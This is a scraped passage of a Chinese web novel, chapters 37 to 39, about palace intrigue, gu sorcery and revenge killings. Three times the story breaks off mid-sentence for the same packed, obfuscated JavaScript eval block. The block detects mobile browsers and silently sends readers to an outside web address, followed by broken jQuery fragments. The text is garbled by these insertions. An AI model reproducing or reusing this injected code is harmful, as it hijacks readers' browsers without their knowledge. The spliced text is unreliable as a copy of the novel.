岳明明感到脊背发寒,她深吸一口气,颤声问道:“杏儿,当年幽州杏花楼,究竟发生了什么?你口中那个''她'',是不是皇上当时宠幸的女子?” 此言一出,连姜欢都颇为意外地看着她,未等杏儿说话,她率先应道:“你猜对了……''她''叫姜娆,是我的亲姐姐。” 37. 第 37 章 也许杏儿的转变已足够令人吃惊,岳明明听闻姜欢身份,反倒平静下来,脑子也开始慢慢恢复运转。 “所以你们早就认识……你们是一伙儿的?”岳明明有些不确定地看着姜欢:“我还以为……姐姐对王爷是真心的。” 姜欢淡淡道:“当年在杏花楼,她是我姐姐的试妆婢女,后来历经变故,只有我们两人侥幸活下来,最难的时候也曾相依为命……不过,‘一伙儿’却谈不上。” 杏儿冷哼道:“道不同不相为谋!身负血海深仇,居然因为一个狗男人,说放下就放下……你怎么对得起娆姐姐?” 姜欢面容一凛:“我跟你解释过很多次,今夜不妨再说最后一遍,我的选择与旁人无关。” “呸!你敢说你不喜欢赵琮昀?!” 岳明明心头一跳,这也是她长久以来的疑问,却听姜欢道:“这是两码事。” 杏儿冷笑:“他姓赵!这就是一回事!” 岳明明此刻大致听明白了,这两位一个是主战派,一个是主和派,想来这些年关系并不和睦。 不过得知姜欢并没有参与谋害赵琮昀,倒让岳明明松了口气。眼下最重要的,是探出杏儿和李皇后到底如何筹划,还有什么后招…… 她想起赵琮昀提过的杏花楼往事,脑中灵光一闪,蓦地倒吸一口凉气:“难道你们要把杏花楼当年以巫蛊之术‘谋害’皇上的事……嫁祸给王爷?” 杏儿神色变了变,岳明明知道自己猜对了,气道:“杏儿,我问你,你们当年真的想要谋害皇上吗?” 杏儿恨恨道:“当然没有!楼中只是有几位精通巫蛊的异域姐妹,平日顶多略施小计挽留喜欢的恩客……况且我们当时根本不知道他是皇上!” 岳明明点头:“我相信你们……可既然你知道真相,自己也是受害者,怎么还能用这样的说辞去陷害别人呢?你如果想要报仇,应该去找诬陷你们的人,那才是真正的罪魁祸首!” “我岂会不找?”杏儿道:“当年那笔帐,我可算得清清楚楚呢!麒麟卫的鹰犬,调查的狗官,作法的妖僧……我足够耐心,也足够幸运,他们的命我都拿到了。” 她伸出一双枯瘦的手,在岳明明面前晃了晃:“这双手沾了太多血,有时我都觉得洗不干净,但我不怕的……只要能为娆姐姐报仇,将来纵使下地狱,我心甘情愿……不过在那之前,我不允许自己放过任何一个刽子手!” 岳明明被她的偏执吓到,忍不住问:“你是怎么做到的?李皇后在帮你吗?” 杏儿嗤笑一声:“她?” 她抬眸扫了眼姜欢,后者眼中也罕见地笼上一层杀意。 杏儿继续道:“娘子可知,李皇后才是当年杏花楼灭门的始作俑者?” “什么?!”岳明明震惊道:“那你还跟她合作……” 杏儿道:“没有她的帮助,我没办法找到并接近那些人,她是豺狼,可豺狼也有利用价值。” 岳明明严肃道:“那你呢?你要为她做什么?” 杏儿道:“其实我很擅长杀人的。当年杏花楼未用巫蛊之术害人,不代表我们不会……” 她得意道:“巫蛊有三大秘术,一是索魂,可杀人于无形,事后看不出任何破绽;二是同心,又叫情蛊,可用来操纵所爱之人;三是子母,一损俱损,子母同命。幸得老天眷顾,叫我在辗转中习得这些秘术,助我完成复仇计划!” 岳明明忽然想起一事:“当时送我出嫁的轿夫,还有宫中死去的三名女子……难道都是你杀的?” 杏儿偏过头,没有否认,岳明明又气又急:“你为了自己报仇,给李皇后做刽子手,跟她又有什么区别!你们各怀心思,可知她早晚也不会放过你!” “我知道。”杏儿面容平静:“我甚至很期待她动手。” “你……你给她用了子母蛊?”岳明明立刻反应过来。 杏儿不答,只恳切道:“岳娘子,我真的不希望把你牵扯进来……未来几日宫中可能发生剧变,请你务必留在王府里,不要管其他人了!” 岳明明慌忙道:“你们要做什么?” 杏儿缓缓道:“我已与李皇后商定,由她‘揭发’我的身份,届时我会‘供出’赵琮昀策划杏花楼一案的罪行……待皇上亲手杀了他的好弟弟,我再将真相告诉他,岂不痛快!” 岳明明眼见杏儿偏执得无可救药,仍努力辩白道:“冤有头债有主,这件事不关王爷的事啊!” 杏儿哼道:“谁让他姓赵?谁叫他偏偏生在皇家?” 岳明明顿觉无力:“杏儿,你不要这样。” 一直默不作声的姜欢提醒道:“她这样子,你怎么劝也没用了。其实还有个办法……” 岳明明心头一跳。 如果现在就杀了杏儿? 她的行云掌已练至中级,再加上一个姜欢,倒也不是全无把握。 岳明明虽已起心动念,却终究不是狠辣之人:“我肯定是不行的……要动手,姐姐自己来吧。” 说罢一屁股坐在椅子上,老老实实盘算起要怎么破眼下的死局。姜欢对她这反应也不意外,笑了笑继续喝茶。 杏儿眼神复杂地盯着她,许久之后,突然道:“娘子若真要杀我,我不还手!” 岳明明怔了怔,深深叹了口气:“杏儿,你不要这么死心眼儿,只因我和姜娆对你好,你就要拿命去还?我们虽然立场不同,可你跟李皇后不一样,我理解你要报仇的心……但我也会倾尽全力去帮他,你懂吗?” 杏儿眼眶倏地红了,身子微微颤抖,姜欢横了她们一眼,起身淡淡招呼道:“时候不早了,这局棋既已明了,咱们走吧。” 行至门前,她骤然停住脚步,突兀地扔下一句:“我从不赞同你的所作所为,但我敬佩你。” 杏儿惊讶地瞪大双眼,似是解了一个多年的心结,长叹一声:“我们两个不能都疯,总要有人走这条路……多一种选择,不好吗?” 岳明明没听懂,可姜欢显然懂了,她眸子黯了黯,脸上难得浮出一抹伤感:“我希望……他不要选这条路。” 杏儿笑了笑,轻声道:“我也是。在这点上,我们难得一致。” 眼见两个刚刚还剑拔弩张的人,此刻突然有种诡异的默契,岳明明心中困惑,姜欢却不给她思考时间:“走吧!” 岳明明上前用力抱了一下杏儿,自欺欺人地说出两个字:“保重……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868248|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实她明白,这也许就是她们的最后一面。在接下来这场对弈中,杏儿一旦亮出身份,就必死无疑。可她偏要舍身入局,与她的敌人共坠地狱。 那是她的夙愿,也是她的梦魇。 直到两人身影消失在夜色中,杏儿仍僵立原地,那颗早被仇恨淬炼得百毒不侵的心,蓦地生出无限酸楚。 参园里陪着岳明明吵吵闹闹的日子好似就在昨天。彼时京城刚刚入秋,桂花犹盛,薄衣初试,绿蚁新尝……谁能想到,那已是她一生中最好的光景。 * 回程路上,岳明明心事重重,连脚步都沉重许多。姜欢倒比来时体贴不少,几次停下来等她。 两人回到邀月楼,姜欢先去换了衣衫,出来后焚香煮茶,像没事人一样。 岳明明在旁边急得抓耳挠腮:“姐姐……我得回去跟东叔一起想办法了!” 姜欢笑呵呵为她斟了一杯茶:“不急,陪我喝完这壶茶!” 她难得示好,岳明明受宠若惊,只好乖乖坐回去,敷衍地抿了一口,最后仍忍不住问道:“姐姐怎么一点都不着急……你真不管他了吗?” 她犹豫了一下,续道:“遗诏那件事是我不好,要不是我鬼迷心窍想做王妃,也不会落入李皇后的陷阱,王爷是为了救我才失信,你怨我吧……但若你有办法,请救救他!” 姜欢微微一笑:“看把你急的!是谁说过,''他那个人,总有办法的''。你到底信不信他?” 岳明明一呆,难道赵琮昀早就知道杏儿的身份?以及……姜欢的身份? 姜欢撩起眼皮,似笑非笑:“我从未吐露过这些……不过以他的个性,与我合作多年,肯定私下打探过不少我的事。他若毫不知情,为何会遣你来找我商议?” “那他怎么不告诉我?”岳明明忽然有些不高兴。 “他这个人,没有十分的把握,轻易不会下结论。”姜欢故意学岳明明之前的样子总结道。 “……所以你们有办法对不对?”岳明明既担心,又忍不住心里酸酸的。 姜欢笑笑,只把茶盏推到岳明明面前:“我这上好的滇红,多少人求都求不来,你也忒不识货!” 岳明明没办法,一口气干了,才见姜欢满意道:“我不知道他有何应对之策,不过我倒是可以看在你的面子上,再帮他一次。” “我?”岳明明不禁摸了摸自己的脸。 她有面子吗?她怎么不知道! 姜欢道:“阿念很喜欢你。” “就因为这个?”岳明明笑道:“那只能说阿念的面子大!” “不错。”姜欢认真点点头:“因为阿念……我要送给王爷一张底牌。” 岳明明不禁好奇:“什么牌?稳赢的吗?” “哪有什么稳赢的牌局……不过多了几成胜算而已。至于怎么打,就要看王爷自己的能耐了……不过,这不正是有趣的地方吗?” 说话间,姜欢突然伸手抚摸了一下岳明明的脸颊,岳明明只觉异香扑来,头骤然一沉,眼前顿时天旋地转。 晕过去之前,她听见姜欢在她耳旁喃喃道:“等你醒来,就能知道这一局的结果了……替我照顾好他们。” 38. 第 38 章 御书房内,昭明帝听罢李皇后指证,脸色难看到极致。 早前另有多位大臣联合上奏,以樊公为首,搜罗了更多赵琮昀结党证据,如今连杏花楼旧案都被翻了出来,人证物证俱在,满屋子人候在御前,只等昭明帝处置嘉王。 或者说,逼昭明帝处置。 昭明帝看出众人心思,眉头紧锁,反复翻看着供词,迟迟不肯表态。 李皇后朝大臣中瞥过一眼,片刻后,一名阁老躬身上前道:“陛下仁慈,可嘉王不臣之心昭然若揭,若不严惩,日后必成大患!手足之情再难割舍,也请陛下务必以江山社稷为重!” 众人纷纷点头附和,只有一人道:“臣以为陛下犹豫不决,并非全因顾念手足,反而是为长远考虑。” 他顿了顿,鼓起勇气道:“如今陛下虽春秋正盛,可膝下却无子嗣……若顾及皇家血脉,暂时保住嘉王……也不无道理。” 樊公闻言怒道:“裴侍郎此言大逆不道!陛下龙体康健,有皇子是迟早的事……若因此纵容贼子野心,国之尊严何在,祖宗礼法何在?” 李皇后垂泪深鞠一躬:“是臣妾无能,辜负陛下恩宠,这么多年未能诞下一子半女。不过请陛下放心,无论如何,皇室血脉定不会因此中断……” 昭明帝听出弦外之音,凝眸道:“皇后此话何意?” 李皇后脸上浮出一抹喜色:“臣妾刚刚得知,郑贵妃已有了两个月身孕!” 昭明帝一怔:“……当真?” “太医院多位御医均已查验过,千真万确!臣妾恭喜陛下!” 昭明帝顿了顿,突然放声大笑,众人只当龙颜大悦,跟着道喜赔笑,可笑着笑着又觉不对,昭明帝笑声竟迟迟不止。 大臣们你看我我看你,心里七上八下,实在揣度不出圣意。 最后昭明帝终于敛起笑意:“朕要谢谢樊公……郑贵妃不愧是你的好侄女!” 樊公惶恐道:“贵妃侍奉陛下是理所应当,臣何敢居功?” 昭明帝定定看他,目光捉摸不定,就在樊公几乎以为皇帝要朝他发难的时候,只听他突然高声吩咐:“去带嘉王来!” * 赵琮昀今天很不一样。 他与在场诸位甚少交流,平日朝堂相见,连眼神都不会多给一个,今日随麒麟卫进入御书房时,却仔仔细细打量了每一个人。 所有人脊背无端发寒,唯樊公和李皇后犹自淡定。 昭明帝缓步来到赵琮昀面前,将几份折子连同杏花楼罪状一并扔给他,而后一语不发。 赵琮昀读得异常仔细,许久过后,他将奏折整齐摞在地上,静静抬起眼眸。 昭明帝居高临下看他:“朕刚刚得知……朕要有孩子了。” 赵琮昀瞳孔微缩:“臣弟恭喜皇兄。” 昭明帝道:“你可知这意味着什么?” 赵琮昀沉默片刻,俯身一揖道:“臣弟愿担所有罪责……但凭皇兄发落。” 昭明帝蓦地伸出一双大手,用力抓住赵琮昀肩膀:“……你不做任何辩解吗?” 赵琮昀连日生病受伤,再加上幽禁后寝食难安,整个人瘦了一大圈,昭明帝只觉掌下那副肩膀嶙峋见骨,刺得他心底一片凄凉。 赵琮昀淡淡一笑,轻轻摇了摇头。 昭明帝似悲痛不忍,又似冷酷决断,转身沉声道:“传旨下去……嘉王结党营私,欺君罔上……即日起贬为庶人,流放边疆,非诏不得离开。” 李皇后与樊公暗暗对视一眼,默默领旨,其余人噤若寒蝉。 赵琮昀对着昭明帝背影重重叩首,声音难得有了一线颤抖:“臣弟领旨……请皇兄……一切珍重!” 昭明帝长袖一挥,再说不出话。 高处不胜寒。这条君王路上的最后一点温情,终于被他彻底斩断,从此天地逆旅,留给他的,只余山河永寂。 * 走出御书房,樊公故意落后两步,正赶上李皇后凤撵行过。 李皇后使个眼色屏退左右,低声道:“如今陛下不肯处死那祸害……你我该如何是好?” 樊公劝道:“能把陛下逼到这一步,实属不易。此时切不可鲁莽,若再进言,恐怕会使陛下疑心你我了。至于流放边疆……”他冷冷一笑:“长路漫漫,何愁没有动手机会?急什么!” 李皇后僵着脸点头:“一想到他还活着,我总觉后患未除,心头十分不安。” 樊公道:“此事交给我来办,你只管照顾好贵妃腹中胎儿……那才是咱们将来真正的筹码!” 李皇后讥诮道:“如今你眼里,恐怕只有这个未出世的孩子。” 樊公不接她话茬,只叮嘱道:“杏花楼那个丫头……尽快处理掉。” 李皇后眼中闪过一丝不耐烦:“知道了。” 说话间来到长街拐角,樊公往左出宫而去,凤撵向右缓缓驶向坤宁宫。 行至半路,李皇后思忖着樊公的话,突然改主意道:“去内狱。” 杏儿正关在内狱之中。 见到李皇后,杏儿未在她脸上看出得意神情,心头微沉:“怎么?赵琮昀没死?” 李皇后道:“让你失望了,陛下只肯将他流放边疆。” 杏儿蹙眉:“那接下来怎么解决他?” 李皇后轻笑:“这就不劳你费心了。” 杏儿咬牙怒道:“咱们可说好的……你让皇帝亲手杀了他,我才帮你。若是随随便便要他的命,我早就自己做了!” 李皇后不屑地瞥她一眼:“从前那些人,我纵容着你杀便杀了,现在你倒蹬鼻子上脸,指挥起我来了……” 她一边说话,一边摆弄指甲,发现小拇指指尖不知何时蹭掉了一块颜色,心头忽然烦躁起来:“赵琮昀的命我早晚要取回来,在这之前,你先去黄泉路等他吧。” 杏儿冷笑:“怎么?现在就要杀我?未免急了些。” “不然呢……难道要等你先对我动手吗?”李皇后哼道:“子母蛊……那么珍贵的蛊虫用在我身上,真叫我受宠若惊!” “你知道了?”杏儿道:“那你还敢杀我?” “我不仅知道,还要还给你呢!”李皇后从袖中拿出一只紫铜袖珍盒,扭开递在杏儿面前,里面躺着一只干瘪的幼蛊。 正是杏儿偷偷种给她的子蛊。 “你……你如何做到的?!”杏儿脸色一变:“不可能!当世没人解得了这只蛊!” “当世……“李皇后喃喃念着这个词,将蛊虫倒在地上,抬脚用力一碾,传说中无人可解的蛊虫登时碎成粉末。 她得意道:“本宫自有神仙相助……行了,懒得再跟你废话。”她朝身后拍拍手,从阴影里无声无息走出一个人,那人黑衣蒙面,掌中匕首寒光闪烁。 “送她上路。” 那人沉默点头,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895729|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏儿渐渐逼近。杏儿早有准备,猛地掷过来一件物什,异香随之在屋内弥漫。 李皇后掩住口鼻匆匆后退,那神秘人却不闪避,似对药粉无知无觉,他在杏儿惊讶的目光中,闪电般钳住她脖颈,毫不犹豫用力一掰。 咔嚓…… 牢狱内响起清脆的骨骼断裂声,杏儿登时七窍流血,头歪在旁边,连一个字都未来得及说出口,就已化作一具尸体。 李皇后惊得捂住嘴巴,突然生出一种说不出的恐惧——樊公派来的这名哑巴杀手,虽然实力超强,却如同人偶一般,没有任何情感,只知服从命令……有朝一日,此人会不会也这样对自己下手? 她定了定神,颤声吩咐:“你把这里收拾干净,然后就出宫去吧……樊公那边需要你去一趟边疆。” 那人点点头,俯身去拖杏儿尸体,突然耳根一动,生生顿住。 李皇后吓了一跳:“你要做什么?” 那人直起身子,目光穿过李皇后,落在内狱大门外,一行惊起的乌鹊正在阴沉的天空中盘旋。 李皇后顺着他的目光,疑惑道:“宫中常有乌鹊流连,本朝一直奉为吉兆,怎么了?” 那人沉默了片刻,对她比了个手势。李皇后微怔一下,后知后觉想起来,樊公曾要她千万记住这个手势。 它代表的含义是,出事了。 * 赵琮昀没出宫,反倒先去了坤宁宫。 婢女通传后,不大会儿工夫,一道人影匆匆忙忙跑出来,却是李凭如。 她上气不接下气,直到看见赵琮昀长身玉立的身影,才想起失了仪态,一边整理一边加快脚步。 “王爷……她们说……你找我?”印象里赵琮昀从未主动找过她,李凭如既开心又慌乱。 “立刻随我出宫。”赵琮昀直接道。 “啊?”李凭如惊喜道:“皇上准许王爷回府了吗?你……特意来接我?” 她努力端出矜持的闺秀模样:“我还要跟姑母说一声,早前姑母还赏赐了一些东西,稍等我去带上……” 赵琮昀却一把拉住她:“来不及了!现在就走!” “为什么……”李凭如被扯得一个踉跄,下意识挣扎起来。 赵琮昀牢牢将她钳住,眉眼罩上一层霜意:“我没时间跟你胡闹!你我夫妻一场,虽有名无实,到底有情分在……你若信我,就什么都不要问,更不要声张,出宫之后我自然会向你解释一切!” 李凭如被他眼里的锋芒吓呆,顿时闭紧嘴巴,用力点点头。 赵琮昀神色稍霁,却没放手,沿着出宫最近的路大步流星,李凭如几乎一路小跑才勉强跟上。 直奔到某处长廊转角,赵琮昀骤然停步,前方匆匆走过一队宫人,里面有一道身影格外眼熟。 他默默注视着那队人。 仿佛感受到他的目光,那身影顿了顿,明显落后其他人两步,有一瞬间似要回头,最终却紧赶几步,追上其他人,消失在宫墙另一侧。 “里面有王爷认识的人?”李凭如好奇地问。 赵琮昀喉头动了动,极轻地叹了口气:“……走吧。” 待他们走出宫门,朱门缓缓关闭。李凭如不解道:“平日不是这个时辰关门啊……今天怎么这么早?” 赵琮昀没有回答她。 他最后回头望了一眼,宫中某个方向,长风骤起,惊起乌鹊一片。 39. 第 39 章 杏儿如果还活着,一定会立刻认出眼前情景。 当年教她巫蛊的姐姐曾提起,除了索魂、同心、子母三大秘术,还有一种常人无法修习的蛊术,唤做“献祭”。 因为这种蛊术对献祭人极为挑剔,万中无一的体质当然是先决条件,更难得的乃是一颗孤勇决绝之心。 从这名字便能猜到,这是一种以生身献祭的惨烈之法,杏儿惦记多年,可惜她空有献祭之心,体质并不适合,后来只好作罢。 她不知道,杏花楼中有人在她之后,悄悄研习此法,历尽千辛最终练成了! 可她就算认得出“献祭”,也一定认不出那施蛊之人了。 那甚至已经算不得一个人。 她全身血肉仿佛被吸干,从脸到手,每一寸裸露的皮肤上,都画满密密麻麻的符咒。那些诡异的字符,透出骇人的青蓝色,彻底侵蚀了枯槁人形,将她变为一具无从分辨、也无坚不摧的蛊人。 这蛊人凭空出现,以万夫莫当姿态立于内狱门前,浑浊的目光在杏儿尸体上停顿片刻,然后牢牢锁定李皇后。 李皇后惊声尖叫,慌忙指挥仅有的几名宫人护架,自己躲在了哑巴杀手背后。 许是蛊人的气质太邪门,宫人们无一不瑟瑟发抖,唯哑巴杀手神色不变,谨慎注视着蛊人方向。 蛊人僵硬地一步步朝众人走来,随着逼近,她嘴角微微咧开,露出似笑非笑的表情,起初宫人们只觉恐怖,待她再走近些,众人终于看清,她嘴里赫然冒出一截虫蛹似的东西。 一名宫人最先反应过来,转身欲跑,只见一团细小黑影蓦地从蛊人口中飞出,眨眼便消失在宫人衣衫内。 那宫人脚步顿了顿,尚未明白发生了什么,额间便豁然洞开了一个血窟窿。 啊啊啊啊啊!!! 尸体倒下时,众人惨声大叫,连哑巴杀手喉头都滚过一声闷呼。李皇后死命攥住他衣袖,扯住他连连后退:“本宫命令你……不惜一切代价保护我!” 哑巴杀手神色凝重,静静看着蛊人操纵那团虫子,不停从宫人们身体内爆出,眨眼间地上就已躺满尸体。 清理完其他人,蛊人缓缓扭过头来,鲜血似乎对“献祭”产生了某种刺激作用,她盯着场中最后两人,眸子越来越亮。 李皇后登时脸色惨白,用力推搡哑巴杀手:“它过来了!你快去杀掉它!” 哑巴杀手终于动了。 他长臂猛地一抖,李皇后闪避不及,被一股强大气劲震飞出去。与此同时,那只杀红眼的蛊虫在空中蓦地打了个旋儿,艰难悬停在蛊人身边,一时竟不敢上前。 哑巴杀手反倒踏上一步,以万钧之势,与蛊人正面交锋! 这是一场无声的猎杀。 双方一语不发,像两匹沉默的野兽,招招凶狠,拳拳致命,恨不得将对方撕裂嚼碎,毫无人性,只认胜者为王。 与哑巴杀手相比,蛊人体力不占优势,胜在一人一虫配合默契,哑巴杀手虽功力深厚,手段狠辣,一时竟也讨不到任何便宜。 李皇后趴在地上抖如筛糠,她鼓起勇气看向两人,只见二人缠斗异常激烈,连那蛊虫都分不开身理睬自己。于是她瞅准机会,一步一步匍匐着往外爬,她相信只要离开内狱这座院子,喊来麒麟卫,就有可能得救! 爬出十几米,院门就在眼前,恰在此时,李皇后忽然听到身后传来一阵诡异的吱吱声。 是那蛊虫在叫?! 她有种不祥的预感,蛊虫发现了她在逃跑,它在通知蛊人! 李皇后全身汗毛倒竖,哪里还敢回头,她拼尽全力,手脚并用,五米,四米,三米……近了,更近了! “来……” “人”字尚未叫出口,就坍缩成一道含混不清的呻吟,李皇后嗓中只能发出嗬嗬声,一双青蓝色、近乎“爪”一样的手,不知何时伸到她颈前,徒手划破了她的喉咙。 血蓬地喷射一地,李皇后无助地捂着脖子,身体仍扭动着想往外爬。 蛊人没有再给她任何机会。第二爪径直掏向她心口,当胸穿过,将李皇后击毙当场! 然而蛊人不惜一切的强杀,也付出了巨大代价。 她手尚未从李皇后胸口抽离,蛊虫便发出一声凄厉悲鸣——哑巴杀手当然不会放过绝好机会,掌风将蛊虫团团困住,紧接着合掌为拳,生生将蛊虫捏碎! 蛊人与蛊虫连心,这一击对她而言,近乎致命。她身上青绿色符咒瞬间转红,血沿着皮肤汩汩渗出,看上去血葫芦一般,越发骇人! 她的体力似乎也到了极限,只能抱着同归于尽的决心,朝哑巴杀手狠命冲去,可惜这一动作在哑巴杀手眼里还是太慢了,他轻松后退避开,从地上拎起一具尸体,当成武器朝蛊人抛掷过去。 蛊人本可以避开,可当她看清尸体正面杏儿那张脸,身形明显滞了一下。只这一顿,她和哑巴杀手都明白,她输了! 蛊人倒下去时,乌鹊仍在天空盘桓。 她从未害怕死亡,因为听说死前会见到最想念的那个人…… 姜欢想,无论是赵琮昀、阿念还是姐姐,那一刻都将是幸福的。 * 昭明帝默默坐在御书房龙椅之上,桌上横着一柄长剑。 那是他当年在边疆历练时,一位将军赠给他的,自他做了皇帝之后,这把剑再未拔出过。 可利剑哪怕尘封,毕竟曾见血封喉。 做这无趣君王之前,他也做过立马横刀的少年将军。纵使身手不再矫健,心气总不能没有。 所以当前一晚赵琮昀向他说出李皇后与樊公所谋之事时,昭明帝决定赌一把。 在这场成王败寇的赌局里,自己的亲弟弟拿不出什么凭证,而对手有理有据、步步紧逼,看上去几乎无懈可击……可昭明帝偏偏选了看起来毫无胜算的一方。 冠冕堂皇的说法,是他这个兄长对弟弟的信任与了解,是纵使做了皇帝也不愿割舍亲情、骨肉相残,私心而论,只有昭明帝知道,他的判断出于一种埋藏于血脉中的战斗直觉。 他最钦佩的一位将军曾言,真正的谋略家和军事奇才,无不拥有一种天赋直觉,像野兽行走于丛林,他们对陷阱、对危险、对时机,总有着天然的敏感。 抉择时刻,他们就是知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915909|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道该怎么做。这种天赋是学不来的。 最重要的是,将军曾盛赞昭明帝有此天赋,而昭明帝自己也一直引以为傲。与勤政多才的父亲、算无遗策的弟弟不同,他的天赋其实从不在朝堂,而在战场。 此刻,昭明帝甚至感到一丝隐隐的兴奋。他指尖有节律地敲打着桌案,想象着宫中某处正在发生的杀戮,对未知结果充满期待。 第二支香已燃烧过半,麒麟卫急匆匆的脚步声终于在御书房外响起。 ……比预想得慢一些。 “报!!!” “启禀陛下!皇后娘娘出事了!”新上任的统领姓郭,乃是昭明帝从前的近侍。 昭明帝微微欠身,沉声道:“说仔细点!究竟出了何事?” 郭统领重重叩首:“适才有歹人闯宫行刺……麒麟卫失职,未能及时救下娘娘,致娘娘惨死……请陛下降罪!” “皇后……死了?”昭明帝缓缓道。 “是!”郭统领不敢隐瞒,将李皇后在内狱死状如实禀告,昭明帝听罢合上双眼,沉沉叹了口气。 “樊公在哪里?”昭明帝突然问道。 郭统领愣了愣,道:“禀陛下……樊公本已出宫,却不知从何得知宫内出事,又折返回来……” “他……还活着吗?” “活……活着!请陛下放心,樊公安然无恙!”他急忙道,樊公毕竟是朝廷肱骨之臣,于社稷而言,与李皇后自然不可同日而语,皇上关心也是应该的。 “哦?安然无恙吗?”昭明帝眯起眼睛,紧紧盯着他。 郭统领莫名瑟缩了一下,他觉得自己一定是眼花了,竟在昭明帝眼中读到了一丝失望。 为了掩饰自己的失态,郭统领解释道:“樊公怕有贼子漏网,亲自留在内狱清点现场,稍后就会过来回话。” “知道了。你且下去吧,朕想静一静……”昭明帝仿佛疲惫不堪地陷入龙椅中,淡淡吩咐。 “是!” 待御书房重新归于安静,一道黑影从房梁上翩然落下,跪于昭明帝面前,那是他多年的心腹影卫,阿诚。 “陛下,会不会是……王爷骗了您?”阿诚谨慎道。 昭明帝蹙眉摩挲着长剑,沉默不语。 赵琮昀留给他的底牌,据说是一名以一挡百的杀手,有足够能力在麒麟卫面前,击杀李皇后与樊公。 可如今死掉的只有李皇后,樊公安然无恙,说明要么赵琮昀撒了谎,要么发生了某些意外。 半晌,昭明帝缓缓道:“朕倒不相信琮昀会与樊公联手,他若想骗朕,何苦大费周章,你去内狱那边瞧瞧,朕想知道现场到底发生了什么。” “可陛下……万一樊公按捺不住,对您不利……” 昭明帝冷笑:“他如今羽翼未丰,又失了皇后这个后宫帮手,怎敢轻易动手?” 他手腕一抖,长剑应声出鞘:“你查明情况后,直接出宫去找嘉王,告诉他,朕只给他八个月时间。” “朕会暂立郑贵妃为后,以稳住樊公。郑贵妃临产之日,将是朕与樊家撕破脸之时……也是我朝生死存亡之时!”